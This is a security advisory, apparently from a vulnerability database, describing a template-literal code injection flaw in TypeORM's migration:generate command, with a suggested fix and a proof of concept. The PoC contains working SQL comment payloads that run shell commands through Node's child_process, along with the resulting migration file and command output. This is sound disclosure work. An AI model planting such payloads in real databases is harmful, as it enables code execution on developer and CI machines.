logo

Database

Server side template injection In typeorm

Description

TypeORM: migration:generate template-literal code injection

Summary

typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

Details

MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...

Introspected schema strings reach this sink through driver query runners:

Driver
Metadata source
Source

escapeComment() on each driver strips only null bytes, leaving ${...} intact:

protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}

When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.

Affected source:

File
Lines
Role

Confirmed injection vectors (MySQL):

Vector
Result
Notes

Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.

PoC

Prerequisites:

    Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate

    The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text

Steps:

    Inject payload into schema metadata. Set a column comment or default containing ${...}:

-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

    Run migration generation on the developer/CI machine:

npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration

    Inspect the generated file. The output .ts file contains unescaped ${...}:

export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}...

    Run or revert the migration:

npx typeorm migration:revert -d ./data-source.ts

Output confirms code execution — id ran on the host and its output was interpolated into the SQL:

ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.

Impact

Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Component
Affected version
Patched versions